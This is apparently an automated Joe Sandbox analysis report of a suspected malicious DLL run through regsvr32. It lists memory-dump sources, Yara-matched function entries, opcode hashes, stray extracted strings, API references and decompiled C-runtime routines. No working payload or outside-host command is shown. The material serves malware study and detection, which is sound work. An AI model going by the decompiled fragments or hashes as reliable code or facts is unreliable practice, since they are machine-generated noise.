Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).$_heapchk fails with _HEAPBADBEGIN.$_heapchk fails with _HEAPBADEND.$_heapchk fails with _HEAPBADNODE.$_heapchk fails with _HEAPBADPTR.$_heapchk fails with unknown return value!$_1
API String ID: 0-510578482
Opcode ID: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction ID: 2e3929c610d79aeb9f6375ea398ef70322b77c1420209f8d6f9956d4446a531d
Opcode Fuzzy Hash: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction Fuzzy Hash: A6E13F36A18B5586EBA4CB69E88072EB7E0F384754F614526EACD43BB4DB7ED051CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FFC0 Relevance: 15.0, Strings: 11, Instructions: 1219COMMON

Download Yara Rule

Strings

:B), xrefs: 0000000180011CBB
#r5|, xrefs: 0000000180011B12
sg, xrefs: 0000000180010713
kJ, xrefs: 00000001800100F8
Y], xrefs: 0000000180010F2D
K, xrefs: 0000000180010D55
K, xrefs: 00000001800117C0
E, xrefs: 0000000180010000
:F&, xrefs: 0000000180010676
kJ, xrefs: 0000000180011662
Jq-., xrefs: 00000001800107C4

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E$#r5|$:B)$:F&$Jq-.$K$K$Y]$kJ$kJ$sg
API String ID: 0-2241473280
Opcode ID: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction ID: 9c682bca3309bc02ed949a6de7aa3bb6d22b0761abc13177b84899e0b503d48e
Opcode Fuzzy Hash: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction Fuzzy Hash: 73E2E4715047CC8BDBB9DFA4C8897DD3BA1FB44344F10861AEC4EAE250DBB45A89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23280 Relevance: 12.1, APIs: 8, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D23280(void* __eax, signed int __ecx, signed int __edx, signed int __rcx, signed int __rdx, void* __r8) {
				void* _t7;
				void* _t10;
				signed long long _t15;
				signed long long* _t16;
				signed long long _t20;
				signed long long _t24;

				_t7 = __rcx -  *0xf9d4b018; // 0x6ec2365e8408
				if (_t7 != 0) goto 0xf9d2329a;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xf9d23296;
				asm("repe ret");
				asm("dec eax");
				goto 0xf9d23720;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("o16 nop [eax+eax]");
				if (__r8 - 8 < 0) goto 0xf9d2330c;
				_t20 = __rdx * 0x1010101;
				_t10 = __r8 - 0x40;
				if (_t10 < 0) goto 0xf9d232ee;
				_t15 =  ~__rcx;
				if (_t10 == 0) goto 0xf9d232de;
				 *__rcx = _t20;
				_t16 = _t15 + __rcx;
				if (_t10 != 0) goto 0xf9d23327;
				_t24 = __r8 - _t15 & 7;
				if (_t10 == 0) goto 0xf9d2330c;
				 *_t16 = _t20;
				if (_t10 != 0) goto 0xf9d23300;
				if (_t24 == 0) goto 0xf9d2331b;
				_t16[1] = __edx & 0x000000ff;
				if (_t24 - 1 != 0) goto 0xf9d23311;
				return __eax;
			}

0x7fef9d23280
0x7fef9d23287
0x7fef9d23289
0x7fef9d23292
0x7fef9d23294
0x7fef9d23296
0x7fef9d2329a
0x7fef9d2329f
0x7fef9d232a0
0x7fef9d232a1
0x7fef9d232a2
0x7fef9d232a3
0x7fef9d232a4
0x7fef9d232a5
0x7fef9d232a6
0x7fef9d232b7
0x7fef9d232c6
0x7fef9d232ca
0x7fef9d232ce
0x7fef9d232d0
0x7fef9d232d6
0x7fef9d232db
0x7fef9d232de
0x7fef9d232ec
0x7fef9d232f1
0x7fef9d232f9
0x7fef9d23300
0x7fef9d2330a
0x7fef9d2330f
0x7fef9d23311
0x7fef9d23319
0x7fef9d2331b

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D23733
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D23752
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2379E
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D23810
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23828
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23835
GetCurrentProcess.KERNEL32 ref: 000007FEF9D2384E
TerminateProcess.KERNEL32 ref: 000007FEF9D2385C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction ID: 807cfb07a33e429e3d371e20a7d7f9b872ed56a9d2d7ce20ec260cf370a1508c
Opcode Fuzzy Hash: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction Fuzzy Hash: 9B31B435908B4685EAA09B69FD443AEB3E0F784794F608026DACD43775DF7EE0588B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2443C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Client hook allocation failure at file %hs line %d., xrefs: 000007FEF9D2452F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2446A
_CrtCheckMemory(), xrefs: 000007FEF9D24455
Client hook allocation failure., xrefs: 000007FEF9D24554
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D245C6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2480363372-3680694803
Opcode ID: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction ID: 8b5a52ed6c75746639c18038ef7af0115634e61e6ce836c346e70c61fc8f1b15
Opcode Fuzzy Hash: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction Fuzzy Hash: 58510931A096828AE7F48B68EC4576E73E4F395354F618135DADD83BB4EB3EE4448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A758 Relevance: 9.3, Strings: 7, Instructions: 594COMMON

Download Yara Rule

Strings

A2>, xrefs: 000000018000B065
, xrefs: 000000018000A787
Mum, xrefs: 000000018000AFAE
#X, xrefs: 000000018000AD41
Fa, xrefs: 000000018000A9DA
=D, xrefs: 000000018000AA8F
vQ, xrefs: 000000018000AE4D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$ $A2>$Mum$vQ$=D$Fa
API String ID: 0-1298193321
Opcode ID: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction ID: 1349cc56659c19f01a369150ff0067e3f34eaebe01bc07430d2f97da03610ed5
Opcode Fuzzy Hash: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction Fuzzy Hash: 24522775A0620CDFCB68DFA8D08A6DDBBF2EF58344F104119F816A7261D7B0D919CB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E4AC Relevance: 9.1, Strings: 7, Instructions: 371COMMON

Download Yara Rule

Strings

8%Y, xrefs: 000000018001E6CA
R1, xrefs: 000000018001E7F4
@4<, xrefs: 000000018001E879
._, xrefs: 000000018001E654
xy, xrefs: 000000018001EA69
t, xrefs: 000000018001E945
F+}, xrefs: 000000018001E7B6

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ._$8%Y$@4<$F+}$R1$t$xy
API String ID: 0-3078009748
Opcode ID: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction ID: 0e1afbee3b71ea3b5863fe80692b11929ebce18e29255cef2241f67d7a77c22f
Opcode Fuzzy Hash: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction Fuzzy Hash: 0402E1B1504649DFCB98DF28C489ADE3BE1FB48318F41812AFC4A9B764D770DA98CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BE50 Relevance: 9.1, APIs: 6, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 33%

			E000007FE7FEF9D2BE50(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v4;
				void* _v12;
				signed long long _v24;
				signed int _v36;
				long long _v180;
				long long _v184;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v204;
				long _v212;
				long long _v220;
				long long _v228;
				long long _v1212;
				long long _v1308;
				char _v1460;
				char _v1476;
				char _v1484;
				int _v1492;
				long long _v1500;
				long long _v1508;
				long long _v1516;
				long long _v1524;
				long long _v1532;
				long long _v1540;
				void* _t51;
				signed long long _t80;
				long long _t85;
				void* _t100;

				_a24 = r8d;
				_a16 = __edx;
				_a8 = __ecx;
				_t80 =  *0xf9d4b018; // 0x6ec2365e8408
				_v24 = _t80 ^ _t100 - 0x00000610;
				if (_a8 == 0xffffffff) goto 0xf9d2be8d;
				E000007FE7FEF9D28D90(_t51, _a8);
				_v184 = 0;
				memset(__edi, 0, 0x94 << 0);
				_v1508 =  &_v196;
				_v1500 =  &_v1460;
				_v1492 = 0;
				_v212 = 0;
				__imp__RtlCaptureContext();
				_t85 = _v1212;
				_v220 = _t85;
				r8d = 0;
				0xf9d40e28();
				_v228 = _t85;
				if (_v228 == 0) goto 0xf9d2bf64;
				_v1516 = 0;
				_v1524 =  &_v1476;
				_v1532 =  &_v1484;
				_v1540 =  &_v1460;
				0xf9d40e22();
				goto 0xf9d2bf84;
				_v1212 = _v12;
				_v1308 =  &_v12;
				_v196 = _a4;
				_v192 = _a12;
				_v180 = _v12;
				_v1492 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				_v212 = UnhandledExceptionFilter(??);
				if (_v212 != 0) goto 0xf9d2bffb;
				if (_v1492 != 0) goto 0xf9d2bffb;
				if (_v4 == 0xffffffff) goto 0xf9d2bffb;
				return E000007FE7FEF9D23280(E000007FE7FEF9D28D90(_t59, _v4), _v4, __edx, _v36 ^ _t100 - 0x00000610, _v204, _v220);
			}

0x7fef9d2be50
0x7fef9d2be55
0x7fef9d2be59
0x7fef9d2be65
0x7fef9d2be6f
0x7fef9d2be7f
0x7fef9d2be88
0x7fef9d2be8d
0x7fef9d2beaa
0x7fef9d2beb4
0x7fef9d2bebe
0x7fef9d2bec3
0x7fef9d2becb
0x7fef9d2bedb
0x7fef9d2bee1
0x7fef9d2bee9
0x7fef9d2bef1
0x7fef9d2bf04
0x7fef9d2bf09
0x7fef9d2bf1a
0x7fef9d2bf1c
0x7fef9d2bf2a
0x7fef9d2bf34
0x7fef9d2bf3e
0x7fef9d2bf5d
0x7fef9d2bf62
0x7fef9d2bf6c
0x7fef9d2bf7c
0x7fef9d2bf8b
0x7fef9d2bf99
0x7fef9d2bfa8
0x7fef9d2bfb6
0x7fef9d2bfbc
0x7fef9d2bfcd
0x7fef9d2bfdc
0x7fef9d2bfe3
0x7fef9d2bfed
0x7fef9d2c013

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D2BEDB
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2BF04
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2BF5D
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D2BFB0
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFBC
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFC7

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction ID: ff33e713b9b9862e94e2d2fd4ae4d55f0027255630586c455cca821aadc81769
Opcode Fuzzy Hash: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction Fuzzy Hash: 7041BE32909BC58AE6B08B14F8443AFB3A1F388355F50522996CD42BA8EB7ED095CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B3A4 Relevance: 8.2, Strings: 6, Instructions: 685COMMON

Download Yara Rule

Strings

!Iv;, xrefs: 000000018001BDA7
uzxY, xrefs: 000000018001B986
#X, xrefs: 000000018001BE03
M@, xrefs: 000000018001BD49
of?, xrefs: 000000018001BCC0
=`, xrefs: 000000018001B4ED

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$!Iv;$=`$M@$of?$uzxY
API String ID: 0-1910763920
Opcode ID: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction ID: 7899ed511868268ad7aea3719dccceda62fd29fa6bb16e154aa46d1db7c43d79
Opcode Fuzzy Hash: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction Fuzzy Hash: F172047190478C8BDB58DF68C88A69E7FE1FB84384F20461DF95A9B260D770D989CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BC98 Relevance: 8.0, Strings: 6, Instructions: 487COMMON

Download Yara Rule

Strings

;*v(, xrefs: 000000018000C23C
ef~j, xrefs: 000000018000C484
F9p, xrefs: 000000018000C348
*I, xrefs: 000000018000C3C7
;3, xrefs: 000000018000C590
#X, xrefs: 000000018000BD53

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$*I$;*v($;3$F9p$ef~j
API String ID: 0-950528966
Opcode ID: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction ID: 5057aee1002f2822c724537f3f36740fe0594223e2d956511feddf479ded4ebe
Opcode Fuzzy Hash: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction Fuzzy Hash: 6A42E771144BCA8BCBB9CF24CC85BEF7BA0FB44306F145529D89A8A291DBB89745CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F554 Relevance: 7.9, Strings: 6, Instructions: 447COMMON

Download Yara Rule

Strings

jS<, xrefs: 000000018000FD7B
9w, xrefs: 000000018000F9B1
M?@, xrefs: 000000018000FA5E
M, xrefs: 000000018000FBC1
%, xrefs: 000000018000FCB8
IX, xrefs: 000000018000FDD5

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$9w$IX$M?@$jS<$M
API String ID: 0-1157581923
Opcode ID: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction ID: e375d1c8451a89c96fc0dfbd01d6dda6b37f4c7765b0f9ce143112ad2eac9b8a
Opcode Fuzzy Hash: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction Fuzzy Hash: 8A32E4B0A147888BCBB8CF68C8897DD7BF0FB48318F90521DEA0A9B251DB745645CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800053B0 Relevance: 7.8, Strings: 6, Instructions: 305COMMON

Download Yara Rule

Strings

&n, xrefs: 0000000180005658
1U, xrefs: 0000000180005931
j/, xrefs: 0000000180005758
Oh, xrefs: 00000001800058F7
%, xrefs: 00000001800054DC
X, xrefs: 00000001800058D8

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$&n$1U$Oh$j/$X
API String ID: 0-3716166881
Opcode ID: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction ID: b98437ffb223a44b0e92d10549c73aaa59fdecde54cd589da16d290276777c9c
Opcode Fuzzy Hash: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction Fuzzy Hash: D9F13C70508B88CFD7B9CF24D48969EBBF4FB84744F204A1EE5A59B260DBB09645CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028D10 Relevance: 7.7, Strings: 6, Instructions: 249COMMON

Download Yara Rule

Strings

J9, xrefs: 0000000180028D50
ozq~, xrefs: 0000000180028EC6
G8L, xrefs: 0000000180028E0A
ss6, xrefs: 0000000180028DBD
P;, xrefs: 0000000180028F1F
tiG, xrefs: 0000000180028D62

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G8L$J9$ozq~$ss6$tiG$P;
API String ID: 0-1765782432
Opcode ID: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction ID: 77e5b6b93cc6977e5a95292e040e55b4553736c218ba0195107264470a30d31c
Opcode Fuzzy Hash: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction Fuzzy Hash: FCC1097050064D8FDF89DF28C89A6DE3BA1FB68398F51421DFC4A962A1C778D994CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28900 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2893B
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2894B
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28963
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2897B
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28998

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction ID: 08a22431f858d3c52821bee646358606f5e13fcd060269a72eebdbe744b14aa1
Opcode Fuzzy Hash: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction Fuzzy Hash: 7A21E62160AF0585DAB08B19FC5032E77E0E78DBA5F241235AADD83778EF3DD2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CF9C Relevance: 7.0, Strings: 5, Instructions: 751COMMON

Download Yara Rule

Strings

-Ie:, xrefs: 000000018001DEBB
jc, xrefs: 000000018001DDA5
Y, xrefs: 000000018001DB50
_, xrefs: 000000018001D9C0
,bF, xrefs: 000000018001DB1D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,bF$-Ie:$Y$jc$_
API String ID: 0-2562869522
Opcode ID: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction ID: be835d82a8a11271eaf2d0d4144821f845ce411821323c63ff6fa91e08a90877
Opcode Fuzzy Hash: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction Fuzzy Hash: 2F82FC7190478C8BDBBDCF24C8466DE7BE1FB88744F104A1DEA5A8A350D7B49785CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800270C0 Relevance: 6.9, Strings: 5, Instructions: 672COMMON

Download Yara Rule

Strings

%, xrefs: 0000000180027A74
|7}, xrefs: 0000000180027EB6
AVx., xrefs: 0000000180027CF1
R@\, xrefs: 0000000180027748
3'p, xrefs: 0000000180027483

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$3'p$AVx.$R@\$|7}
API String ID: 0-1377184578
Opcode ID: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction ID: 11bdd15b6fdebef4e4e33012fe2102d5287f0ed75640ad066b8b9400528ec4a7
Opcode Fuzzy Hash: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction Fuzzy Hash: F0820774604BC88BDBB8DF24DC857CD7BE0FB86305F20561DD95E9AA60CBB89645CB02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002D28 Relevance: 6.8, Strings: 5, Instructions: 514COMMON

Download Yara Rule

Strings

j~L, xrefs: 0000000180002EC4
.s, xrefs: 00000001800030F4
W0, xrefs: 00000001800031D3
/$*, xrefs: 0000000180002F2C
89, xrefs: 0000000180002E9E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .s$/$*$89$W0$j~L
API String ID: 0-3680180293
Opcode ID: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction ID: f5b8073de7550f00aae71ce47ac4d0d330c984d331b26572373d31fffc6277f7
Opcode Fuzzy Hash: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction Fuzzy Hash: 9332237050C7848FC369DF68C58A65EBBF0FB8A744F004A1EF68687260D7B6D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A5D8 Relevance: 6.6, Strings: 5, Instructions: 339COMMON

Download Yara Rule

Strings

J? , xrefs: 000000018002A763
IE, xrefs: 000000018002A956
:_, xrefs: 000000018002A6AC
ioF, xrefs: 000000018002A783
DHM, xrefs: 000000018002A941

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :_$DHM$J? $ioF$IE
API String ID: 0-1950181368
Opcode ID: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction ID: dfce06ae3f2776b2053eb0988bfb390665c026a97965fcc171ceda4eb787facd
Opcode Fuzzy Hash: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction Fuzzy Hash: 4E02F470A0470DEFDB99DF68C089A8EBBF1FB48344F40856AE809EB250D7749A59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E130 Relevance: 6.6, Strings: 5, Instructions: 305COMMON

Download Yara Rule

Strings

n", xrefs: 000000018000E164
5Z3, xrefs: 000000018000E36F
wPT, xrefs: 000000018000E274
h9&, xrefs: 000000018000E1D6
\=V, xrefs: 000000018000E457

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \=V$h9&$n"$wPT$5Z3
API String ID: 0-226182706
Opcode ID: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction ID: 86bcb4527d36acdb60297ed143c12856cad003a08b6179b63c097fe4f6929213
Opcode Fuzzy Hash: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction Fuzzy Hash: F7E11871A0468C8BDF59CFE8C48ABDDBBF2FB54348F004129D906BB298D774951ACB85

Uniqueness

Uniqueness Score: -1.00%

